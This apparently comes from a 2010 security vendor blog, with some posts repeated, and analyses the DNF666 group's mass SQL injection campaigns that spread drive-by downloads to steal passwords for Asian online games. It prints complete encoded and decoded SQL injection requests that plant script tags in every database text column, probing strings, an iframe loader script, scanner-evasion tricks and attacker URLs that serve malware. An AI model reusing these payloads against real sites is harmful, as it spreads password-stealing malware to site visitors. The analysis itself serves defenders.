We will be presenting our talk at Hacker Halted 2010. Recently, we have been officially interviewed by the Hacker Halted crew about the nostalgia and reality of web application security game. The prime aim is to discuss the artifacts of ongoing realm of security in web application and browsers exploitation.
"Attackers are not exploiting the apps' vulnerabilities. They are exploiting our human vulnerability in allowing our apps to run our lives. Platform of choice? Our browsers. According to a poll by Harris Interactive, we, the adult internet users, spend an average of 13 hours online each week. This writer is online at minimum 16 hours a day. The internet is never more than a meter away from the writer at any time of the day or any place in the world (that has a connection!). Making him very vulnerable."
Read full interview : HERE | Hacker Halted
Read more (rest of article)...
HITB/AMS report
Heya!
We went to Hack In the Box/Amsterdam this year. First european HITB con in fact. The event was organized nicely. Gathered around 250 people, Quite a few hackerspaces ran their tables. "Original" lockpicking guys from toool.nl held a workshop which had quite a few impressive snippets.
Anyway, from our side we had two releases: From Russia with Love pt 2: an overview of underground whakin' activies of eastern blocks. Securitybananas summarized the content pretty well.
Another thing is that we're planning to publish a fresh version of xprobe tool. Upcoming features are reviewed in this presentation .
Read more (rest of article)...
We went to Hack In the Box/Amsterdam this year. First european HITB con in fact. The event was organized nicely. Gathered around 250 people, Quite a few hackerspaces ran their tables. "Original" lockpicking guys from toool.nl held a workshop which had quite a few impressive snippets.
Anyway, from our side we had two releases: From Russia with Love pt 2: an overview of underground whakin' activies of eastern blocks. Securitybananas summarized the content pretty well.
Another thing is that we're planning to publish a fresh version of xprobe tool. Upcoming features are reviewed in this presentation .
Read more (rest of article)...
HackInTheBox Paper - Paradox of MS Office based Malware
The HackInTheBox(HITB) has published our new paper on MS Office based Malware. The paper discusses about infection patterns and analytical approaches of malware infected Ms Office files.
An excerpt from the paper:
"With the advent of new technologies, new protection parameters are evolving. Are technologies good enough to combat the diversified nature of malware? Well, may or may not be. The world has been noticing a new trend of malware which uses office files to corrupt the system, thereby resulting in complete take over of the victim machine. The most versatile nature of office infection comes from the Chinese malware"
Fetch the magazine here: DOWNLOAD
Explore the previous versions here: Previous Issues
Read more (rest of article)...
An excerpt from the paper:
"With the advent of new technologies, new protection parameters are evolving. Are technologies good enough to combat the diversified nature of malware? Well, may or may not be. The world has been noticing a new trend of malware which uses office files to corrupt the system, thereby resulting in complete take over of the victim machine. The most versatile nature of office infection comes from the Chinese malware"
Fetch the magazine here: DOWNLOAD
Explore the previous versions here: Previous Issues
Read more (rest of article)...
The DNF group is back--Mass SQL injections 4589.in and 22dnf.com
(Credits: Wayne Huang, Chris Hsiao, Crane Ku, and other members of Armorize)
On June 13th, we blogged about on-going mass SQL injections attempts spreading drive-by downloads based on CVE-2010-1297. Based on our analysis, we concluded that these recent waves were by the same "DNF666" group. Well, just a day after we blogged, they launched it again, and yesterday, again. So here's our analysis.
Previously (see previous blog post):
Mar 7th: dnf666.net Mass SQL attack
Jun 4th: Adobe released advisory.
Jun 7th: POC code widely available.
Jun 8th: robint.us--First wave mass SQL injection, in which the drive-by download leverages this particular exploit, took place.
Jun 10th: Metasploit version available.
Jun 11th: 2677.in--Second wave of mass SQL injection took place.
We've labeled this attacker group "DNF666." Yes, Wall Street Journal was hit by robint.us and yes, so was Jerusalem Post. And yes, more than 114,000 pages were infected, and yes, all of this was just to spread malware that steal passwords to Asian online games.
Well, then they should have just targeted websites in China and Taiwan.
That's what they did recently:
Time is Taipei time (GMT+8)
Jun 14th: 4589.in mass SQL injection
Jun 30th: 22dnf.com mass SQL injection
A quick summary:
Similarities:
1. Same group DNF666
2. Same drive-by kit used--CuteQQ / Anhey
3. Same objective--steal passwords to Asian online games
Differences:
1. New probing scripts before SQL injection
2. Server-side attack targets both ASP and ASP.NET websites
3. Client-side attack targets different vulnerabilities (CVE-2010-0806 and CVE-2010-0249).
4. Targets only Asian websites
[1. Server-side]
In both attempts, we saw new probing requests (thanks to SmartWAF team Wisely and Crane):
The SQL injection strings themselves are as usual:
4589.in sample:
22dnf.com:
Decoded, 4589.in:
22dnf:
Nothing new in the SQL injection strings, but this time, the group has:
A. Implemented new probing requests
B. Targeted vulnerable IIS+ASP and IIS+ASP.NET websites.
C. Targeted only Asian websites.
4859.in SQL injections came from IP: 95.211.130.71, which reverses to two domains: 4859.in, and iamcome.in. iamcome.in was used in the previous attempt by this group (DNF666). This is the first indication that these two attempts are associated with DNF666.
22dnf.com SQL injections came from 204.74.216.42, which is owned by rashost.com (DNS: 204-74-216-42.vps.rashost.com) based in Beijing. The name "22dnf" (has "dnf") and the hosting, are the second indication that these attempts are associated with DNF666.
Here are screenshots of infections
4589.in:
22dnf.in:
The injected snippets:
4589.in (note in the previous 2677.in effort that took place on Jun 11th, the js filename was also "yahoo.js"):
And for yesterday's 22dnf.in:
Actually, because the attack methods were exactly the same, many sites were infected twice:
[2. Client-side]
Let's focus on yesterday's mass SQL injection--22dnf.com. Below is y.js:
So y.js loads three htmls--cc.html, ie.html, and ad.html. cc.html loads cnzz.com as a visitor counter service, ie.html is exploit for CVE-2010-0806, and ad.html is exploit for CVE-2010-0249.
ie.html incorporates a DOM-based trick in order to circumvent automated Web malware (drive-by download) detection techniques such as our HackAlert. Exploitation is triggered based on a DOM object:
cc.html incorporates a similar DOM-based trick--the exploitation procedure evl() is triggered based on an onload event of an img object:
Both tricks can effectively defeat automated "behavior-based" scanners that implements only the javascript engine but not the DOM--for example, implementations based purely on SpiderMonkey or Rhino.
The actual shellcode is stored and loaded from ff/a.gif--a common technique to introduce flexibility and also to circumvent detection. This drive-by download was obviously also created by the CuteQQ / Anhey drive-by kit, which marks the third indication that this attempt is by DNF666.
After successful exploitation, the shellcode drops s.exe, which loads commands from 202.109.143.79:81/s.txt. s.txt has the following content:
s.exe therefore downloads ma.exe.
[3. Actual malware]
Our analysis concludes that ma.exe is almost the exact same password stealer as all previous attempts, and steals passwords to the following online games:
aion.plaync.co.kr
aion.plaync.jp
df.nexon.com
maplestory.nexon.com
[4. Conclusion]
We thus conclude that these two attempts were made by the same group DNF666, who was responsible for at least three previous mass SQL injection attacks. Summary of this wave:
Similarities:
1. Same group DNF666
2. Same drive-by kit used--CuteQQ / Anhey
3. Same objective--steal passwords to Asian online games
Differences:
1. New probing scripts before SQL injection
2. Server-side attack targets both ASP and ASP.NET websites
3. Client-side attack targets different vulnerabilities (CVE-2010-0806 and CVE-2010-0249).
Timeline:
Mar 7th: dnf666.net Mass SQL attack
Jun 4th: Adobe released advisory.
Jun 7th: POC code widely available.
Jun 8th: robint.us--First wave mass SQL injection, in which the drive-by download leverages this particular exploit, took place.
Jun 10th: Metasploit version available.
Jun 11th: 2677.in--Second wave of mass SQL injection took place.
Jun 14th: 4589.in mass SQL injection
Jun 30th: 22dnf.com mass SQL injection
Read more (rest of article)...
On June 13th, we blogged about on-going mass SQL injections attempts spreading drive-by downloads based on CVE-2010-1297. Based on our analysis, we concluded that these recent waves were by the same "DNF666" group. Well, just a day after we blogged, they launched it again, and yesterday, again. So here's our analysis.
Previously (see previous blog post):
Mar 7th: dnf666.net Mass SQL attack
Jun 4th: Adobe released advisory.
Jun 7th: POC code widely available.
Jun 8th: robint.us--First wave mass SQL injection, in which the drive-by download leverages this particular exploit, took place.
Jun 10th: Metasploit version available.
Jun 11th: 2677.in--Second wave of mass SQL injection took place.
We've labeled this attacker group "DNF666." Yes, Wall Street Journal was hit by robint.us and yes, so was Jerusalem Post. And yes, more than 114,000 pages were infected, and yes, all of this was just to spread malware that steal passwords to Asian online games.
Well, then they should have just targeted websites in China and Taiwan.
That's what they did recently:
Time is Taipei time (GMT+8)
Jun 14th: 4589.in mass SQL injection
Jun 30th: 22dnf.com mass SQL injection
A quick summary:
Similarities:
1. Same group DNF666
2. Same drive-by kit used--CuteQQ / Anhey
3. Same objective--steal passwords to Asian online games
Differences:
1. New probing scripts before SQL injection
2. Server-side attack targets both ASP and ASP.NET websites
3. Client-side attack targets different vulnerabilities (CVE-2010-0806 and CVE-2010-0249).
4. Targets only Asian websites
[1. Server-side]
In both attempts, we saw new probing requests (thanks to SmartWAF team Wisely and Crane):
' aND '8'='8
' aND '8'='3
'/**/aND/**/'8'='8
'/**/aND/**/'8'='3
%' aND '8%'='8
%' aND '8%'='3
%' aND '8'='8
%' aND '8%'='3
%'/**/aND/**/'8'='8
%'/**/aND/**/'8%'='3
' XoR '8'='3
' XoR '8'='8
' XoR '8'='3
' XoR '8'='8
'/**/XoR/**/'8'='3
'/**/XoR/**/'8'='8
The SQL injection strings themselves are as usual:
4589.in sample:
GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463334333533383339324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B6520272725343538392E696E2527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt
22dnf.com:
GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B63417354283078334337333633373236393730373432303733373236333344363837343734373033413246324633323332363436453636324536333646364432463636363632463739324536413733334533433246373336333732363937303734334520615320764172436841722835312929207768657265205B272B40632B275D206E6F74206C696B65202727253232646E662527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt
Decoded, 4589.in:
get /default.aspx?imgbtnlogin=1;declare @s varchar(8000) set @sdeclare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f343538392e696e2f7961686f6f2e6a733e3c2f7363726970743e as varchar(50)) where ['+@c+'] not like ''%4589.in%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;-- exec(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt
22dnf:
get /default.aspx?imgbtnlogin=1;declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f3232646e662e63 6f6d2f66662f792e6a733e3c2f7363726970743e as varchar(51)) where ['+@c+'] not like ''%22dnf%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;--exec(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt
Nothing new in the SQL injection strings, but this time, the group has:
A. Implemented new probing requests
B. Targeted vulnerable IIS+ASP and IIS+ASP.NET websites.
C. Targeted only Asian websites.
4859.in SQL injections came from IP: 95.211.130.71, which reverses to two domains: 4859.in, and iamcome.in. iamcome.in was used in the previous attempt by this group (DNF666). This is the first indication that these two attempts are associated with DNF666.
22dnf.com SQL injections came from 204.74.216.42, which is owned by rashost.com (DNS: 204-74-216-42.vps.rashost.com) based in Beijing. The name "22dnf" (has "dnf") and the hosting, are the second indication that these attempts are associated with DNF666.
Here are screenshots of infections
4589.in:
22dnf.in:
The injected snippets:
4589.in (note in the previous 2677.in effort that took place on Jun 11th, the js filename was also "yahoo.js"):
<script src=http://4589.in/yahoo.js></script>
And for yesterday's 22dnf.in:
<script src=http://22dnf.com/ff/y.js></script>
Actually, because the attack methods were exactly the same, many sites were infected twice:
[2. Client-side]
Let's focus on yesterday's mass SQL injection--22dnf.com. Below is y.js:
try{__m}catch(e){__m=1;document.title=document.title.replace(/\<(\w\W)*\>/,"");document.write("<iframe src=http://22dnf.com/ff/cc.html width=0 height=0></iframe><iframe src=http://22dnf.com/ff/ie.html width=0 height=0></iframe><iframe src=http://22dnf.com/ff/ad.html width=0 height=0></iframe>");}
So y.js loads three htmls--cc.html, ie.html, and ad.html. cc.html loads cnzz.com as a visitor counter service, ie.html is exploit for CVE-2010-0806, and ad.html is exploit for CVE-2010-0249.
ie.html incorporates a DOM-based trick in order to circumvent automated Web malware (drive-by download) detection techniques such as our HackAlert. Exploitation is triggered based on a DOM object:
<button id="bo" onclick="payload();" STYLE="DISPLAY:NONE"></button>
...
document.getElementById("bo").onclick();
cc.html incorporates a similar DOM-based trick--the exploitation procedure evl() is triggered based on an onload event of an img object:
<img src="XIGUA.GIF" onload="ev1(event)">
Both tricks can effectively defeat automated "behavior-based" scanners that implements only the javascript engine but not the DOM--for example, implementations based purely on SpiderMonkey or Rhino.
The actual shellcode is stored and loaded from ff/a.gif--a common technique to introduce flexibility and also to circumvent detection. This drive-by download was obviously also created by the CuteQQ / Anhey drive-by kit, which marks the third indication that this attempt is by DNF666.
After successful exploitation, the shellcode drops s.exe, which loads commands from 202.109.143.79:81/s.txt. s.txt has the following content:
123
http://202.109.143.79:81/ma.exe
s.exe therefore downloads ma.exe.
[3. Actual malware]
Our analysis concludes that ma.exe is almost the exact same password stealer as all previous attempts, and steals passwords to the following online games:
aion.plaync.co.kr
aion.plaync.jp
df.nexon.com
maplestory.nexon.com
[4. Conclusion]
We thus conclude that these two attempts were made by the same group DNF666, who was responsible for at least three previous mass SQL injection attacks. Summary of this wave:
Similarities:
1. Same group DNF666
2. Same drive-by kit used--CuteQQ / Anhey
3. Same objective--steal passwords to Asian online games
Differences:
1. New probing scripts before SQL injection
2. Server-side attack targets both ASP and ASP.NET websites
3. Client-side attack targets different vulnerabilities (CVE-2010-0806 and CVE-2010-0249).
Timeline:
Mar 7th: dnf666.net Mass SQL attack
Jun 4th: Adobe released advisory.
Jun 7th: POC code widely available.
Jun 8th: robint.us--First wave mass SQL injection, in which the drive-by download leverages this particular exploit, took place.
Jun 10th: Metasploit version available.
Jun 11th: 2677.in--Second wave of mass SQL injection took place.
Jun 14th: 4589.in mass SQL injection
Jun 30th: 22dnf.com mass SQL injection
Read more (rest of article)...
Solving the puzzle: mass SQL injection+0day flash drive-by download attacks robint.us and 2677.in
(Credits: Wayne Huang, Crane Ku, Sun Huang, and other members of Armorize)
After reading some coverages regarding the recent Adobe Flash 0day (actually not any more, patch is released), CVE-2010-1297, we couldn't help but notice that not many analysis were able to "hit the point" on this wave of robint.us and 2677.in attacks. So we've decided to provide our perspective. Summary first:
Server-side:
1. Attack vectors used in mass SQL injections were targeted and specific--pre-scanning took place beforehand, vectors waiting to be used upon availability of 0day.
2. Attacks targeted ASP.NET Web applications vulnerable to SQL injection and using SQL server as database. We note most of the fault is attributed to the vulnerable Web application itself, not IIS or ASP.NET or SQL server.
Client-side:
1. 0day discovered in Asia, by known group, possibly via fuzzing.
2. 0day initially used (and captured) in emails as part of targeted attacks, often against Asian personnels.
3. 0day leveraged in mass SQL injection attempts shortly after POC discovered in the wild.
4. Exploit code involves mechanisms to defeat behavior-based analysis.
5. Exploit generated by CuteQQ / Anhey.
As a whole:
1. Attacker group is dnf666. Same group responsible for the dnf666.net attack back in March.
2. Attacker group runs businesses selling (illegal) plugins for online games.
3. Ultimate goal of these two Mass SQL attacks (robint.us and 2677.in): steal passwords to online games, including: aion.plaync.co.kr, aion.plaync.jp, and df.nexon.com.
4. Free Asian visitor analytics accounts used to monitor infection rate, region, number, etc.
And here is the full analysis report.
[0. Background]
Quite a few commercial- and government-sponsored threat research organizations have collected samples of this particular exploit since as early as a year ago; Websense is one that publicly stated the fact. Recently:
Jun 4th: Adobe released advisory.
Jun 7th: POC code widely available.
Jun 8th: robint.us--First wave mass SQL injection, in which the drive-by download leverages this particular exploit, took place.
Jun 10th: Metasploit version available.
Jun 11th: 2677.in--Second wave of mass SQL injection took place.
[1. Server-side]
First the probes before the attack (thanks to Wisely and the SmartWAF team):
Nothing special here. Now let's have a look at some the actual injection (http) requests:
Sample 1:
Sample 2:
Since the attack targets ASP.NET applications, note the _viewstate=ddwxmzk4nt provided in the request. This is to bypass some Web application firewalls.
The above code decodes to:
All in lowercase is easier to read:
Nothing really new here, same as the earliest mass SQL injections that took place in early 2008.
We sampled thirty infected Websites; as expected, infections are detected in SQL-injection-vulnerable ASP.NET websites.
[2. Client-side]
Below are two typical samples of this injection wave:
yahoo.js serves as the entry snippet. From there the exploitation flow is illustrated as follows:
We'll describe the exploitation process below.
1. http://2677.in/yahoo.js dynamically creates two iframes pointing to http://2677.in/cnzz.html (visitor counter service) and http://2677.in/ie.htm (flash exploit)
2. http://2677.in/cnzz.html uses a free visitor counter serivce cnzz.com in order to track infections and hit count
Now if we link to the counter page, we'll notice that the attacker's handle is "dnf666." Sounds familiar, right?
Yes, that's right, rings a bell--the "dnf666.net" mass sql injection incident that happened back in March. The handle is the same--dnf666.net, the sql injection strings are extremely identical, and both used cnzz as counter service.
Oh, and actually, robint.us used cnzz, too: http://s11.cnzz.com/stat.php?id=2095356&web_id=2095356
And furthermore, the dnf666.net attack involved "robints.us," yes, with an additional "s":
Also see here for additional evidences.
So, in March, dnf666 launched a similar attack, involving robint"s".us. Recently, they launched two more based on the Adobe Flash 0day (VE-2010-1297)--robint.us and 2677.in.
"6" in Mandarin is phonetically identical to the word "smooth" or "well," and so 666 is a lucky number in Chinese culture. What is DNF?
DNF stands for "Dungeon Fighter," a popular online game in the Chinese community. It's offered in Taiwan here and in China on top of the QQ platform here. dnf666.net was a platform selling (illegal) plugins to these online games. Adding these together, it's no surprise that at the end of this article, our conclusion is the purpose of both robint.us and 2677.in attacks were aimed at stealing passwords to online games.
Moving on.
3. http://2677.in/ie.html stores its heap spray code inside a DOM object
Escaped version is easier to read:
In our flow diagram, we labeled this "trick 1." The trick defeats automated "behavior-based" scanners that implements only the javascript engine but not the DOM--for example, implementations based purely on SpiderMonkey or Rhino.
4. This <div id=sun> object is eval'ed by javascript inside ie.html
We labeled this "trick 2" in our diagram, because it again, defeats (both the static analysis and behavior analysis modules of) scanners that do not implement the full browser and therefore do not actually have the ability to make network connections, send http request and retrieve the shellcode.
5. http://2677.in/ie.html embeds swf exploit anhey.swf for CVE-2010-1297
And that'll do it. Javascripts inside ie.html does the heap spraying and puts the retrieved shellcode (from log.txt) into memory, while anhey.swf triggers the exploit.
We can't help but notice the name of this flash exploit: "anhey.swf"--used both in robint.us and 2677.in.
We also remember this piece of dynamically generated code in robint.us:
Note the variable name--"cuteqq".
Well,CuteQQ and Anhey are the same Chinese company, and both domains map to the same server. The company sells drive-by download exploit kits:
And if we look at the tool's screenshot, we can see that it specifically provides a textbox for the attacker to enter the URL to his counter service (in this case, cnzz.com). It obviously supports "flash 10 0day." The middle section allows the attacker to enable various anti-detection techniques, which results in the tricks 1 and 2 we described.
Alright, moving on.
6. http://2677.in/anhey.swf exploits CVE-2010-1297 and drops downloader: http://2677.in/log.exe
7. http://2677.in/log.exe has the following behavior:
Behavior: DLL-Injection (Target: rundll32.exe) functions.
Modules
Base=10000000 Size=00003000 rundll32.exe
Files
[DLL] %UserProfile%\Microsoft\smx4pnp.dll F7E3595E910B767F64974B084B9B3D2A
%UserProfile%\Microsoft\smx4pnp.log
Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\smx4pnp
Retrieves: http://d.iamcome.in/u.txt, content:
8. Following the instructions given inside u.txt, log.exe downloads http://d.iamcome.in/ma.exe, which has the following behavior:
Behavior: DLL-Injection (Target: explorer.exe) functions.
Modules
Base=10000000 Size=0001C000 explorer.exe
Base=10000000 Size=0001C000 wscntfy.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=10000000 Size=0001C000 ctfmon.exe
Base=00F80000 Size=00001000 explorer.exe
Files
[DLL] %SystemRoot%\system32\xiaodll0.dll 38D8AC593197CB30C6C69929373459A8
[EXE] %SystemRoot%\system32\xiaosos.exe C55748843D9576B62982646FA3944F21
Autoruns
HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\loopsos
Steals accounts:
1. aion.plaync.co.kr
2. aion.plaync.jp
3. df.nexon.com
[3. Conclusion]
Server-side:
1. Attack vectors used in mass SQL injections were targeted and specific--pre-scanning took place beforehand, vectors waiting to be used upon availability of 0day.
2. Attacks targeted ASP.NET Web applications vulnerable to SQL injection and using SQL server as database. We note most of the fault is attributed to the vulnerable Web application itself, not IIS or ASP.NET or SQL server.
Client-side:
1. 0day discovered in Asia, by known group, possibly via fuzzing.
2. 0day initially used (and captured) in emails as part of targeted attacks, often against Asian personnels.
3. 0day leveraged in mass SQL injection attempts shortly after POC discovered in the wild.
4. Exploit code involves mechanisms to defeat behavior-based analysis.
5. Exploit generated by CuteQQ / Anhey.
As a whole:
1. Attacker group is dnf666. Same group responsible for the dnf666.net attack back in March.
2. Attacker group runs businesses selling (illegal) plugins for online games, including: aion.plaync.co.kr, aion.plaync.jp, and df.nexon.com.
3. Ultimate goal of these two Mass SQL attacks (robint.us and 2677.in): steal passwords to online games, including: aion.plaync.co.kr, aion.plaync.jp, and df.nexon.com.
4. Free Asian visitor analytics accounts used to monitor infection rate, region, number, etc.
[4. Appendix]
1. HackAlert V3 forensics query dump
2. Parts of anhey.swf:
Read more (rest of article)...
After reading some coverages regarding the recent Adobe Flash 0day (actually not any more, patch is released), CVE-2010-1297, we couldn't help but notice that not many analysis were able to "hit the point" on this wave of robint.us and 2677.in attacks. So we've decided to provide our perspective. Summary first:
Server-side:
1. Attack vectors used in mass SQL injections were targeted and specific--pre-scanning took place beforehand, vectors waiting to be used upon availability of 0day.
2. Attacks targeted ASP.NET Web applications vulnerable to SQL injection and using SQL server as database. We note most of the fault is attributed to the vulnerable Web application itself, not IIS or ASP.NET or SQL server.
Client-side:
1. 0day discovered in Asia, by known group, possibly via fuzzing.
2. 0day initially used (and captured) in emails as part of targeted attacks, often against Asian personnels.
3. 0day leveraged in mass SQL injection attempts shortly after POC discovered in the wild.
4. Exploit code involves mechanisms to defeat behavior-based analysis.
5. Exploit generated by CuteQQ / Anhey.
As a whole:
1. Attacker group is dnf666. Same group responsible for the dnf666.net attack back in March.
2. Attacker group runs businesses selling (illegal) plugins for online games.
3. Ultimate goal of these two Mass SQL attacks (robint.us and 2677.in): steal passwords to online games, including: aion.plaync.co.kr, aion.plaync.jp, and df.nexon.com.
4. Free Asian visitor analytics accounts used to monitor infection rate, region, number, etc.
And here is the full analysis report.
[0. Background]
Quite a few commercial- and government-sponsored threat research organizations have collected samples of this particular exploit since as early as a year ago; Websense is one that publicly stated the fact. Recently:
Jun 4th: Adobe released advisory.
Jun 7th: POC code widely available.
Jun 8th: robint.us--First wave mass SQL injection, in which the drive-by download leverages this particular exploit, took place.
Jun 10th: Metasploit version available.
Jun 11th: 2677.in--Second wave of mass SQL injection took place.
[1. Server-side]
First the probes before the attack (thanks to Wisely and the SmartWAF team):
' and char(124)+user+char(124)=0 and ''='
' and char(124)+user+char(124)=0 and '%25'='
and char(124)+user+char(124)=0
' and 1=1 and ''='
Nothing special here. Now let's have a look at some the actual injection (http) requests:
Sample 1:
GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463332333633373337324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B65202727257961686F6F2E6A732527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt
Sample 2:
GET /default.aspx?imgbtnlogin=1;dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C615265204074207641724368417228323535292C406320764172436841722832353529206445634C615265207441624C655F637572736F5220635572536F5220466F522073456C45635420612E6E416D452C622E6E416D452046724F6D207359734F624A6543745320612C735973436F4C754D6E53206220774865526520612E69443D622E694420416E4420612E78547950653D27752720416E442028622E78547950653D3939206F5220622E78547950653D3335206F5220622E78547950653D323331206F5220622E78547950653D31363729206F50654E207441624C655F637572736F52206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C4063207768696C6528404066457443685F7374617475733D302920624567496E20657865632827557044615465205B272B40742B275D20734574205B272B40632B275D3D727472696D28636F6E7665727428766172636861722838303030292C5B272B40632B275D29292B6341735428307833433733363337323639373037343230373337323633334436383734373437303341324632463332333633373337324536393645324637393631363836463646324536413733334533433246373336333732363937303734334520615320764172436841722835302929207768657265205B272B40632B275D206E6F74206C696B65202727257961686F6F2E6A732527272729206645744368206E6578742046724F6D207441624C655F637572736F5220694E744F2040742C406320654E6420634C6F5365207441624C655F637572736F52206445416C4C6F43615465207441624C655F637572736F523B2D2D%20eXeC(@s)--&txtmh_card=1&txtpass=1&__viewstate=ddwxmzk4nt
Since the attack targets ASP.NET applications, note the _viewstate=ddwxmzk4nt provided in the request. This is to bypass some Web application firewalls.
The above code decodes to:
dEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F323637372E696E2F7961686F6F2E6A733E3C2F7363726970743E aS vArChAr(50)) where ['+@c+'] not like ''%yahoo.js%''') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--
All in lowercase is easier to read:
declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update ['+@t+'] set ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cast(0x3c736372697074207372633d687474703a2f2f323637372e696e2f7961686f6f2e6a733e3c2f7363726970743e as varchar(50)) where ['+@c+'] not like ''%yahoo.js%''') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor;--
Nothing really new here, same as the earliest mass SQL injections that took place in early 2008.
We sampled thirty infected Websites; as expected, infections are detected in SQL-injection-vulnerable ASP.NET websites.
[2. Client-side]
Below are two typical samples of this injection wave:
<div class="tomsqre_top"><p><img width="758" height="700" src="/userfiles/image/20100520_tomsquare.jpg" alt="" /></p><script src=http://2677.in/yahoo.js></script></div>
<title>New Vans and Used Vans Ipswich<script src=http://2677.in/yahoo.js></script> - Norfolk Trucks Ipswich</title>
yahoo.js serves as the entry snippet. From there the exploitation flow is illustrated as follows:
We'll describe the exploitation process below.
1. http://2677.in/yahoo.js dynamically creates two iframes pointing to http://2677.in/cnzz.html (visitor counter service) and http://2677.in/ie.htm (flash exploit)
